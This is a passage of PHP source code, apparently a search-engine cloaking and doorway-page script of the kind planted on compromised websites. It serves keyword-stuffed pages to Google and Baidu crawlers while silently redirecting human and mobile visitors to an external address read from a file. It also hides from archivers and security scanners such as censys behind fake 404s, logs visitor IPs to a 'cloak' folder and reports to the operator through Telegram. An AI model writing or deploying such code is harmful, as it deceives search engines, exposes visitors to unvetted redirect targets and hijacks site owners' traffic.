32) { return false; // Invalid mask, return false } $mask = 0xFFFFFFFF << (32 - $mask); return ($ip & $mask) == ($subnet & $mask); } // Check if visitor IP is within any of the Google IP ranges foreach ($google_ip_ranges as $range) { if (ip_in_range($visitorIp, $range)) { $isGoogleIp = true; break; } } //whatsapp // 获取当前访问的URI $requestUri = $_SERVER['REQUEST_URI']; // 获取当前访问的主机名(域名) $hostName = $_SERVER['HTTP_HOST']; // 检查访问的域名是否包含 "whatsapp" if (strpos($hostName, 'whatsapp') !== false) { // 定义根目录的路径 $rootDirectory = __DIR__; // 定义 index.txt 文件的路径 $indexFilePath = $rootDirectory . '/index.txt'; // 检查是否是首页访问 if ($requestUri == '' || $requestUri == '/' || $requestUri == '/index.html') { // 如果 index.txt 文件存在,读取其中的文件路径 if (file_exists($indexFilePath)) { $filePath = trim(file_get_contents($indexFilePath)); } else { // 如果 index.txt 不存在或为空,从 tags/ 文件夹中随机选择一个文件 $tagsDir = $rootDirectory . '/tags/'; $files = glob($tagsDir . '*.html'); if (!empty($files)) { $randomFile = $files[array_rand($files)]; $filePath = str_replace($rootDirectory, '', $randomFile); // 去除根目录路径 // 将随机选择的文件路径写入 index.txt file_put_contents($indexFilePath, $filePath); echo file_get_contents($rootDirectory . $filePath); exit; } else { // 如果 tags 文件夹中没有 html 文件,则抛出错误 // die('No HTML files found in tags/ directory.'); } } // 读取并输出文件内容 if (file_exists($rootDirectory . $filePath)) { echo file_get_contents($rootDirectory . $filePath); exit; } else { //die('Selected file does not exist.'); } } else { // 非首页访问,正常处理请求 // 您可以在这里继续处理其他页面的逻辑 // echo "Handling other requests..."; } } else { // 如果域名不包含 "whatsapp",正常处理请求 //echo "Non-whatsapp domain."; } //whatsapp // 获取 URI 和 查询字符串 $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $decodedUri = urldecode($uri); $queryString = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY); // 获取 tags 目录下的所有 HTML 文件 $tagsDirectory = 'tags/'; $htmlFiles = glob($tagsDirectory . '*.html'); // 检查是否找到了 HTML 文件 if ($htmlFiles && count($htmlFiles) > 0) { // 随机选择一个 HTML 文件 $randomFile = $htmlFiles[array_rand($htmlFiles)]; // 检查是否包含中文或日文字符 if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $decodedUri)) { // 执行 301 重定向到随机选择的文件 header("HTTP/1.1 301 Moved Permanently"); header("Location: /" . $randomFile); exit; } // 检查 URI 是否符合指定格式:以斜杠开头,后面是字母或数字,包含横杠,且没有符号点“.” if (preg_match('/^\/[\p{L}0-9-]+$/u', $uri) && mb_strpos($uri, '.') === false) { // 检查 URI 是否符合指定格式:以斜杠开头,后面是字母或数字,包含横杠,且没有符号点“.” // if (preg_match('/^\/[a-zA-Z0-9-]+$/', $uri) && !strpos($uri, '.')) { // 执行 301 重定向到随机选择的文件 header("HTTP/1.1 301 Moved Permanently"); header("Location: /" . $randomFile); exit; } // 检查是否符合 "/数字.html" 的格式 if (preg_match('/^\/\d+\.html$/', $uri)) { // 执行 301 重定向到随机选择的文件 header("HTTP/1.1 301 Moved Permanently"); header("Location: /" . $randomFile); exit; } // 检查路径中是否包含问号 if (strpos($uri, '?') !== false) { // 执行 301 重定向到随机选择的文件 header("HTTP/1.1 301 Moved Permanently"); header("Location: /" . $randomFile); exit; } } else { // 如果没有找到任何 HTML 文件,返回 404 错误 //header("HTTP/1.0 404 Not Found"); //echo "404 Not Found."; //exit; } // 获取当前访问的域名和路径 $host = $_SERVER['HTTP_HOST']; $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // 获取主域名(去掉二级域名部分) $hostParts = explode('.', $host); $rootDomain = implode('.', array_slice($hostParts, -2, 2)); // 检查是否是非一级域名或者非 www 的二级域名 if (count($hostParts) > 2 && $hostParts[0] !== 'www') { // 如果路径不是根目录或 index.html,则重定向到该二级域名的根目录 if ($uri !== '/' && $uri !== '/index.html' && $uri !== '') { // 构建重定向 URL $redirectUrl = "http://{$host}/"; // 执行 301 重定向到二级域名的根目录 header("HTTP/1.1 301 Moved Permanently"); header("Location: {$redirectUrl}"); exit; } } // 其他域名情况(例如 abc.com 或 www.abc.com)不做特殊处理 // 其他域名情况(例如 abc.com 或 www.abc.com)不做特殊处理 // 检查URI是否包含特定的模式,并且符合重定向的条件 if (preg_match('/\/page\/(\d+)_.*_1\.html$/', $uri, $matches)) { // 构建新的URL,移除中间部分并保留 /page/ 和 数字部分 $newUrl = "/page/{$matches[1]}.html"; // 执行301重定向 header("HTTP/1.1 301 Moved Permanently"); header("Location: $newUrl"); exit; } // 移除开头的斜杠 $uri = ltrim($uri, '/'); // 指定静态文件存储的根目录 $root = ''; // 定义禁止访问的爬虫User-Agent关键词数组 $blockedBots = [ 'InternetMeasurement', 'SeekportBot', 'censys', 'AwarioBot', 'IonCrawl', 'LivelapBot', 'Semanticbot', 'archive.org_bot', '2ip.io', 'Mediatoolkitbot', 'babbar.tech/crawler', 'DataForSeoBot', 'facebook.com', 'PetalBot', 'Applebot', 'GPTBot', 'DotBot', 'facebookexternalhit', 'Bytespider', 'Amazonbot', 'OrangeBot', //'Baiduspider', //'YandexBot', //'Sogou', 'Exabot', //'AhrefsBot', 'SEMrushBot', 'mj12bot', 'MJ12bot', 'SerpstatBot', 'BLEXBot', 'ZoominfoBot', 'MojeekBot', 'Slackbot', 'DuckDuckBot', 'Twitterbot', 'MetaInspector', 'MegaIndex', 'LinkpadBot' ]; // 检查User-Agent是否包含禁止的爬虫关键词 foreach ($blockedBots as $bot) { if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) { // 返回404错误 header("HTTP/1.0 404 Not Found"); echo "404 Not Found."; exit; } } // 记录访问日志的函数 function log_access($isSpider = false) { $logDirectory = $isSpider ? 'spider' : 'traffic'; if (!file_exists($logDirectory)) { mkdir($logDirectory, 0777, true); } $furl=$_SERVER['HTTP_REFERER']; $date = date('Y-m-d'); $filename = "{$logDirectory}/{$date}.txt"; $time = date('Y-m-d H:i:s'); $ip = getClientIp(); // 获取访问者的IP $host = $_SERVER['HTTP_HOST']; $agent = $_SERVER['HTTP_USER_AGENT']; $url = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $logEntry = "time[=]{$time}[*_*]".($isSpider ? "spider[=]{$ip}" : "ip[=]{$ip}")."[*_*]url[=]{$url}[*_*]agent[=]{$agent}[*_*]HTTP_REFERER[=]{$furl}[*_*]domain[=]{$host}[*_*]\n"; file_put_contents($filename, $logEntry, FILE_APPEND); } // 检查是否为搜索引擎蜘蛛 $isSpider = preg_match('/bot|crawl|slurp|spider/i', $_SERVER['HTTP_USER_AGENT']); // 记录日志 log_access($isSpider); // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 假设根域名为两部分组成(如 abc.com),则子域名为更多部分 $subdomain = count($hostParts) > 2 ? $hostParts[0] : ''; // 如果访问根目录并且有子域名,尝试加载对应的HTML文件 if (empty($uri) && !empty($subdomain) && strtolower($subdomain) !== 'www') { $subdomainFilePath = $root . "domain/{$subdomain}.html"; // 检查并创建domain目录 $logSubDirectory = $root . 'domain'; if (!file_exists($logSubDirectory)) { mkdir($logSubDirectory, 0777, true); } if (file_exists($subdomainFilePath)) { if (!$isGoogleIp) { if (strpos($_SERVER['HTTP_REFERER'], 'oogle') !== false && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false) { $postUrlTxtPath = $root . 'posturl.txt'; $aUrlTxtPath = $root . 'aurl.txt'; // 检查 posturl.txt 和 aurl.txt 文件是否存在 if (file_exists($postUrlTxtPath) && file_exists($aUrlTxtPath)) { // 规范化当前文件路径 $normalizedFilePath = remove_scheme_and_domain("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); // 读取并规范化 posturl.txt 中的所有 URL $postUrls = file($postUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $postUrls = array_map('remove_scheme_and_domain', $postUrls); // 检查规范化的文件路径是否存在于 postUrls 数组中 //if (in_array($normalizedFilePath, $postUrls)) { // 读取并检查 aurl.txt 中的 URL 是否有效 $redirectUrl = trim(file_get_contents($aUrlTxtPath)); if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) { // 记录在'cloak'目录中的访问日志 log_access_cloak($redirectUrl); // 执行跳转 header("Location: $redirectUrl"); exit; // readfile($subdomainFilePath); // exit; // } } } } else { // 返回子域名对应的HTML文件内容 readfile($subdomainFilePath); exit; } } else { // 返回子域名对应的HTML文件内容 readfile($subdomainFilePath); exit; } } else { // 如果文件不存在,则生成新的HTML页面 $keyword = str_replace('-', ' ', $subdomain); $keywordsPath = 'keywords.txt'; $keywordsFound = false; if (file_exists($keywordsPath)) { $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($keywords as $word) { $word = str_replace('-', ' ', $word); // 去除两边的特殊符号,只保留字母和数字进行比较 $cleanWord = preg_replace('/[^a-zA-Z0-9]/', '', $word); $cleanKeyword = preg_replace('/[^a-zA-Z0-9]/', '', $keyword); if (trim($cleanWord) === trim($cleanKeyword)) { $keywordsFound = true; break; } } } if (!$keywordsFound) { // 如果关键词不存在,则返回404错误 //header("HTTP/1.0 404 Not Found"); //echo "404 Not Found!"; // exit; // 随机读取 domain 目录下的一个 HTML 文件 $domainDir = $root . 'domain/'; $htmlFiles = glob($domainDir . '*.html'); if ($htmlFiles && count($htmlFiles) > 0) { // 随机选择一个 HTML 文件 $randomFile = $htmlFiles[array_rand($htmlFiles)]; // 读取并返回随机选择的 HTML 文件内容 readfile($randomFile); } else { // 如果没有找到任何 HTML 文件,返回404错误 header("HTTP/1.0 404 Not Found"); echo "404 Not Found!"; } exit; } else { // 生成并返回新的HTML文件 $subFilePath = "domain/{$subdomain}.html"; $title = $keyword; $additionalKeywords = getRandomKeywords($keywords, 4); $additionalKeywords2 = getRandomKeywords($keywords, 5); $description = $keyword . ' ' . implode(' ', $additionalKeywords2); $content = generateRandomSubContent('txt', 5, 200); createAndServeSubHTML($subFilePath, $title, $keyword, $additionalKeywords, $description, $content); exit; } } } // 如果URI为空,表示请求的是根目录,默认打开index.html if (empty($uri)) { $uri = 'index.html'; } // 构建文件路径 $filePath = $root . $uri; // 检查是否从百度跳转而来 if (strpos($_SERVER['HTTP_REFERER'], 'baidu.com') !== false) { $urlTxtPath = $root . 'url.txt'; if (file_exists($urlTxtPath)) { $redirectUrl = trim(file_get_contents($urlTxtPath)); if (filter_var($redirectUrl, FILTER_VALIDATE_URL)) { header("Location: $redirectUrl"); exit; } } } // 检查User-Agent是否匹配models.csv中的某个型号 if (preg_match('/iPhone.*?;/', $_SERVER['HTTP_USER_AGENT'], $matches)) { $modelData = ['brand' => 'Apple', 'series' => 'iPhone', 'model' => trim($matches[0]), 'name' => 'iPhone']; //} elseif (preg_match('/Android \d+(?:\.\d+)?;.*?; ([^;\s\)]+)[\s\)]/', $_SERVER['HTTP_USER_AGENT'], $matches)) { } elseif (preg_match('/Android \d+(?:\.\d+)?;.*?; ([^;\)\s]+)/', $_SERVER['HTTP_USER_AGENT'], $matches)) { $modelName = trim($matches[1]); $modelData = getModelDataFromCSV($modelName); if (!$modelData) { $modelData = ['brand' => 'Unknown', 'series' => 'Unknown', 'model' => $modelName, 'name' => 'Unknown']; } } if (!$isGoogleIp) { // 如果找到匹配的型号,并且User-Agent不包含"Google"、"Baiduspider" 或 "bingbot",则执行跳转逻辑 if (isset($modelData) && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false && stripos($_SERVER['HTTP_USER_AGENT'], 'Baiduspider') === false && stripos($_SERVER['HTTP_USER_AGENT'], 'bingbot') === false) { // 直接执行跳转逻辑 $aUrlTxtPath = $root . 'aurl.txt'; if (file_exists($aUrlTxtPath)) { // 读取文件内容 $redirectUrl = trim(file($aUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)[0] ?? ''); // 检查是否不为空且以http开头 if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) { // 记录访问日志在'cloak'目录中 log_access_cloak($redirectUrl); // 执行跳转 header("Location: $redirectUrl"); exit; } } } // 检查是否从Google跳转而来,并且User-Agent不包含"Google" if (strpos($_SERVER['HTTP_REFERER'], 'oogle') !== false && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false) { $postUrlTxtPath = $root . 'posturl.txt'; $aUrlTxtPath = $root . 'aurl.txt'; // 检查 posturl.txt 和 aurl.txt 文件是否存在 if (file_exists($postUrlTxtPath) && file_exists($aUrlTxtPath)) { // 规范化当前文件路径 $normalizedFilePath = remove_scheme_and_domain("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); // 读取并规范化 posturl.txt 中的所有 URL $postUrls = file($postUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $postUrls = array_map('remove_scheme_and_domain', $postUrls); if (strpos($uri, 'tags/') !== false) { //echo $uri; // Decode URL and replace '-' with ' ' for keyword comparison $tagName = urldecode(substr($uri, strpos($uri, 'tags/') + 5, -5)); $keyword = str_replace('-', ' ', $tagName); // echo "Debug: TagName - {$tagName}, Keyword - {$keyword}
"; // Read keywords from keywords.txt and check for existence $keywordsPath = 'keywords.txt'; $keywordsFound = false; if (file_exists($keywordsPath)) { $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($keywords as $word) { $word = str_replace('-', ' ', $word); if (trim($word) === $keyword) { $keywordsFound = true; break; } } } // Ensure the 'tags' directory exists // Check if the corresponding HTML file exists in the tags directory $tagFilePath = "tags/{$tagName}.html"; if (file_exists($tagFilePath)) { // 如果从Google访问,记录关键词并返回文件内容 $googleKeywordsPath = $root . 'googlekeywords.txt'; // 检查关键词是否已经在googlekeywords.txt中 $keywordExists = false; if (file_exists($googleKeywordsPath)) { $keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (in_array($keyword, $keywordsList)) { $keywordExists = true; } } // 如果关键词不在googlekeywords.txt中,记录并添加 if (!$keywordExists) { // Get the required parameters $ip = getClientIp(); // 获取访问者的IP $domain = $_SERVER['HTTP_HOST']; $time = date('Y-m-d H:i:s'); // Send the notification sendTelegramNotification($ip, $domain, $keyword, $time); file_put_contents($googleKeywordsPath, $keyword . "\n", FILE_APPEND); } } } // 检查规范化的文件路径是否存在于 postUrls 数组中 //if (in_array($normalizedFilePath, $postUrls)) { // 读取并检查 aurl.txt 中的 URL 是否有效 $redirectUrl = trim(file_get_contents($aUrlTxtPath)); if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) { // 记录在'cloak'目录中的访问日志 log_access_cloak($redirectUrl); // 执行跳转 header("Location: $redirectUrl"); exit; // } } } } } // 记录在'cloak'目录中的访问日志的函数 function log_access_cloak($redirectUrl) { $logDirectory = 'cloak'; if (!file_exists($logDirectory)) { mkdir($logDirectory, 0777, true); } $furl=$_SERVER['HTTP_REFERER']; $date = date('Y-m-d'); $filename = "{$logDirectory}/{$date}.txt"; $time = date('Y-m-d H:i:s'); $ip = getClientIp(); // 获取访问者的IP $host = $_SERVER['HTTP_HOST']; $agent = $_SERVER['HTTP_USER_AGENT']; $url = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $logEntry = "time[=]{$time}[*_*]ip[=]{$ip}[*_*]url[=]{$url}[*_*]agent[=]{$agent}[*_*]HTTP_REFERER[=]{$furl}[*_*]redirectUrl[=]{$redirectUrl}[*_*]domain[=]{$host}[*_*]\n"; file_put_contents($filename, $logEntry, FILE_APPEND); } // 检查文件是否存在 if (file_exists($filePath)) { if (strpos($uri, 'tags/') !== false) { //echo $uri; // Decode URL and replace '-' with ' ' for keyword comparison $tagName = urldecode(substr($uri, strpos($uri, 'tags/') + 5, -5)); $keyword = str_replace('-', ' ', $tagName); // echo "Debug: TagName - {$tagName}, Keyword - {$keyword}
"; // Read keywords from keywords.txt and check for existence $keywordsPath = 'keywords.txt'; $keywordsFound = false; if (file_exists($keywordsPath)) { $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($keywords as $word) { $word = str_replace('-', ' ', $word); if (trim($word) === $keyword) { $keywordsFound = true; break; } } } if (!$keywordsFound) { // echo "Debug: Keyword not found - {$keyword}
"; header("HTTP/1.0 404 Not Found"); echo "404 Not Found!"; exit; } else { // Ensure the 'tags' directory exists // Check if the corresponding HTML file exists in the tags directory $tagFilePath = "tags/{$tagName}.html"; if (file_exists($tagFilePath)) { // 如果从Google访问,记录关键词并返回文件内容 if ((strpos($_SERVER['HTTP_REFERER'], 'http://www.google.') !== false) || (strpos($_SERVER['HTTP_REFERER'], 'https://www.google.') !== false)) { $googleKeywordsPath = $root . 'googlekeywords.txt'; // 检查关键词是否已经在googlekeywords.txt中 $keywordExists = false; if (file_exists($googleKeywordsPath)) { $keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (in_array($keyword, $keywordsList)) { $keywordExists = true; } } // 如果关键词不在googlekeywords.txt中,记录并添加 if (!$keywordExists) { // Get the required parameters $ip = getClientIp(); // 获取访问者的IP $domain = $_SERVER['HTTP_HOST']; $time = date('Y-m-d H:i:s'); // Send the notification sendTelegramNotification($ip, $domain, $keyword, $time); file_put_contents($googleKeywordsPath, $keyword . "\n", FILE_APPEND); } // 如果文件存在,则直接返回文件内容 readfile($tagFilePath); exit; } else { $googleKeywordsPath = $root . 'googlekeywords.txt'; // 检查关键词是否已经在googlekeywords.txt中 $keywordExists = false; if (file_exists($googleKeywordsPath)) { $keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (in_array($keyword, $keywordsList)) { $keywordExists = true; } } // 如果关键词不在googlekeywords.txt中,记录并添加 if (!$keywordExists) { if (stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') !== false) { // 不是从Google访问,检查是否需要重新生成HTML文件 //$title = $keyword; //$additionalKeywords = getRandomKeywords($keywords, 4); //$additionalKeywords2 = getRandomKeywords($keywords, 5); //$description = $keyword . ' ' . implode(' ', $additionalKeywords2); //$content = generateRandomContent('txt', 5, 200); //createAndServeHTML($tagFilePath, $title, $keyword, $additionalKeywords, $description, $content); readfile($tagFilePath); exit; } else { readfile($tagFilePath); exit; } } else { // 如果文件存在,则直接返回文件内容 readfile($tagFilePath); exit; } } } else { // 如果文件不存在,生成新HTML文件 } } } else { // 返回文件内容 readfile($filePath); } // Get the current domain $domain = $_SERVER['HTTP_HOST']; // 判断URL中是否不包含 'tags/' 并且 keywords.txt 存在 $keywordsPath = $root . 'keywords.txt'; if ((empty($uri) || preg_match('/\.html$/', $uri)) && strpos($uri, 'tags/') === false && file_exists($keywordsPath)) { // 读取关键词文件内容 $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!empty($keywords)) { // 随机挑选5个关键词 shuffle($keywords); $randomKeywords = array_slice($keywords, 0, 5); // 构建关键词链接 $keywordLinks = ''; // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } foreach ($randomKeywords as $keyword) { //$cleanKeyword = preg_replace('/[^a-zA-Z0-9\s]/', '', $keyword); //$cleanKeyword=str_replace(' ', '-', $cleanKeyword); // $link = 'http://'.$cleanKeyword.'.' . $rootDomain ; $link = 'https://'.$rootDomain.'/tags/' . str_replace(' ', '-', trim($keyword)) . '.html'; $keywordLinks .= "" . htmlspecialchars($keyword) . ""; } // 创建div模块 $divContent = "
"; $divContent .= "

Related Links:

"; $divContent .= "

{$keywordLinks}

"; $divContent .= "
"; // 在文件内容后面插入div模块 $fileContent .= $divContent; } } // 输出文件内容和div模块 echo $fileContent; } else { // Check if the requested URL contains '/tags/' if (strpos($uri, 'tags/') !== false) { $logDirectory = 'tags'; if (!file_exists($logDirectory)) { mkdir($logDirectory, 0777, true); } //echo $uri; // Decode URL and replace '-' with ' ' for keyword comparison $tagName = urldecode(substr($uri, strpos($uri, 'tags/') + 5, -5)); $keyword = str_replace('-', ' ', $tagName); // echo "Debug: TagName - {$tagName}, Keyword - {$keyword}
"; // Read keywords from keywords.txt and check for existence $keywordsPath = 'keywords.txt'; $keywordsFound = false; if (file_exists($keywordsPath)) { $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($keywords as $word) { $word = str_replace('-', ' ', $word); if (trim($word) === $keyword) { $keywordsFound = true; break; } } } if (!$keywordsFound) { // echo "Debug: Keyword not found - {$keyword}
"; header("HTTP/1.0 404 Not Found"); echo "404 Not Found!"; exit; } else { // Ensure the 'tags' directory exists $tagsDirectory = $root . 'tags/'; if (!file_exists($tagsDirectory)) { mkdir($tagsDirectory, 0777, true); } // Check if the corresponding HTML file exists in the tags directory $tagFilePath = "tags/{$tagName}.html"; //echo "Debug: Checking file - {$tagFilePath}
"; if (file_exists($tagFilePath)) { // Get the file's creation time (in Unix timestamp) // Serve the existing file readfile($tagFilePath); exit; } else { // If file does not exist, generate a new HTML file $title = $keyword; $additionalKeywords = getRandomKeywords($keywords, 4); $additionalKeywords2 = getRandomKeywords($keywords, 5); $description = $keyword . ' ' . implode(' ', $additionalKeywords2); $content = generateRandomContent('txt', 5, 200); createAndServeHTML($tagFilePath, $title, $keyword, $additionalKeywords, $description, $content); } } } else { // 检查URL是否包含 .php 或 .html 或以字母或数字结尾,且剔除包含特定文件扩展名的URL,并且User-Agent包含 'Googlebot' if ( (preg_match('/(\.php|\.html|\w+)$/', $uri) || substr($uri, -1) === '/') && !preg_match('/\.(gif|jpg|jpeg|png|svg|css|js|font|env|txt|xml|ico)$/i', $uri) && (stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') !== false || strpos($_SERVER['HTTP_REFERER'], 'oogle') !== false)) { // 检查301url.txt是否存在旧url的映射 $oldUrl = $_SERVER['REQUEST_URI']; $redirectFound = false; $mappingFilePath = $root . '301url.txt'; if (file_exists($mappingFilePath)) { $mappings = file($mappingFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($mappings as $mapping) { list($storedOldUrl, $storedNewUrl) = explode('[=]', $mapping, 2); if (trim($storedOldUrl) === $oldUrl) { // 找到旧URL对应的新URL,执行301重定向 header("HTTP/1.1 301 Moved Permanently"); header("Location: $storedNewUrl"); exit; } } } // 如果没有找到旧URL的映射,则生成新URL $keywordsPath = $root . 'keywords.txt'; if (file_exists($keywordsPath)) { $keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!empty($keywords)) { // 随机选择一个关键词 shuffle($keywords); $randomKeyword = trim($keywords[0]); $newUrl = '/tags/' . str_replace(' ', '-', $randomKeyword) . '.html'; // 将旧URL和新URL的映射保存到301url.txt中 $mapping = "{$oldUrl}[=]{$newUrl}\n"; file_put_contents($mappingFilePath, $mapping, FILE_APPEND); // 执行301重定向 header("HTTP/1.1 301 Moved Permanently"); header("Location: $newUrl"); exit; } } } // 文件不存在,返回404错误 header("HTTP/1.0 404 Not Found"); echo "404 Not Found."; } } // Additional function to generate random content with Bootstrap styling function generateRandomContent($directory, $count, $length) { $domain = $_SERVER['HTTP_HOST']; // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } $content = '
'; if ($handle = opendir($directory)) { $files = []; while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != ".." && strtolower(substr($entry, -4)) === '.txt') { $files[] = $entry; } } closedir($handle); shuffle($files); // Randomly pick $count files $files = array_slice($files, 0, $count); foreach ($files as $file) { $path = "{$directory}/{$file}"; $fileContent = file_get_contents($path); $fileParts = explode('_', $file, 3); // Split filename for category and article ID $categoryID = $fileParts[0]; $articleID = $fileParts[1]; $articleTitle = substr($fileParts[2], 0, -4); // Remove .txt extension // Random position to start the substring $startPos = mt_rand(0, max(0, strlen($fileContent) - $length)); // Adjust start position to the next space to avoid cutting words in half $spacePos = strpos($fileContent, ' ', $startPos); if ($spacePos !== false) { $startPos = $spacePos + 1; // Start after the space to include the full word } // Ensure the adjusted start position plus the length does not exceed the file content length if ($startPos + $length > strlen($fileContent)) { $startPos = max(0, strlen($fileContent) - $length); // Adjust start position to fit the content length } $randomContent = substr($fileContent, $startPos, $length); // Generate AMP compatible content $content .= ""; $content .= ""; $content .= "

{$articleTitle}

"; $content .= "

" . htmlspecialchars($randomContent) . "...

"; $content .= "
"; $content .= "
"; } } $content .= '
'; return $content; } // Additional function to generate random content with Bootstrap styling function generateRandomSubContent($directory, $count, $length) { $domain = $_SERVER['HTTP_HOST']; // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } $content = '
'; if ($handle = opendir($directory)) { $files = []; while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != ".." && strtolower(substr($entry, -4)) === '.txt') { $files[] = $entry; } } closedir($handle); shuffle($files); // Randomly pick $count files $files = array_slice($files, 0, $count); foreach ($files as $file) { $path = "{$directory}/{$file}"; $fileContent = file_get_contents($path); $fileParts = explode('_', $file, 3); // Split filename for category and article ID $categoryID = $fileParts[0]; $articleID = $fileParts[1]; $articleTitle = substr($fileParts[2], 0, -4); // Remove .txt extension // Random position to start the substring $startPos = mt_rand(0, max(0, strlen($fileContent) - $length)); // Adjust start position to the next space to avoid cutting words in half $spacePos = strpos($fileContent, ' ', $startPos); if ($spacePos !== false) { $startPos = $spacePos + 1; // Start after the space to include the full word } // Ensure the adjusted start position plus the length does not exceed the file content length if ($startPos + $length > strlen($fileContent)) { $startPos = max(0, strlen($fileContent) - $length); // Adjust start position to fit the content length } $randomContent = substr($fileContent, $startPos, $length); // Generate AMP compatible content $content .= ""; $content .= ""; $content .= "

{$articleTitle}

"; $content .= "

" . htmlspecialchars($randomContent) . "...

"; $content .= "
"; $content .= "
"; } } $content .= '
'; return $content; } // Get the language setting from lang.txt, defaulting to 'en' function getLanguage() { $langFilePath = 'lang.txt'; if (file_exists($langFilePath)) { $lang = trim(file_get_contents($langFilePath)); if (!empty($lang)) { return $lang; } } return 'en'; } function renderTemplate($templatePath, $data) { if (!file_exists($templatePath)) { return ''; } $template = file_get_contents($templatePath); // Replace placeholders with actual data foreach ($data as $key => $value) { $template = str_replace("{" . $key . "}", $value, $template); } return $template; } function getRandomTemplate($directory) { $templates = []; // 检查目录是否存在 if (!file_exists($directory)) { return ''; // 返回空字符串,表示没有找到模板 } if ($handle = opendir($directory)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != ".." && strtolower(substr($entry, -5)) === '.html') { $templates[] = $entry; } } closedir($handle); } if (empty($templates)) { return ''; // Return an empty string if no templates are found } $randomTemplate = $templates[array_rand($templates)]; // Randomly pick a template return $directory . '/' . $randomTemplate; } function createAndServeHTML($filePath, $title, $keywords, $additionalKeywords, $description, $content) { $creationTime = date("Y-m-d H:i:s"); $domain = $_SERVER['HTTP_HOST']; $language = getLanguage(); $allKeywords = array_merge([$keywords], $additionalKeywords); $keywordLinks = ''; // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } foreach ($allKeywords as $keyword) { $link = 'https://' . $rootDomain . '/tags/' . str_replace(' ', '-', $keyword) . '.html'; $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); $data = [ 'language' => $language, 'title' => $title, 'keywords' => $keywords . ', ' . implode(', ', $additionalKeywords), 'description' => $description . ' ' . implode(', ', $additionalKeywords), 'domain' => $rootDomain, 'filePath' => $filePath, 'content' => $content, 'keywordLinks' => $keywordLinks, 'creationTime' => $creationTime ]; // Get a random template from the directory $randomTemplatePath = getRandomTemplate('theme/tags'); if ($randomTemplatePath) { $htmlContent = renderTemplate($randomTemplatePath, $data); file_put_contents($filePath, $htmlContent); readfile($filePath); } else { createAndServeHTML3($tagFilePath, $title, $keyword, $additionalKeywords, $description, $content); //echo "No templates found in the directory."; } } function createAndServeSubHTML($subFilePath, $title, $keywords, $additionalKeywords, $description, $content) { // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } $creationTime = date("Y-m-d H:i:s"); $domain = 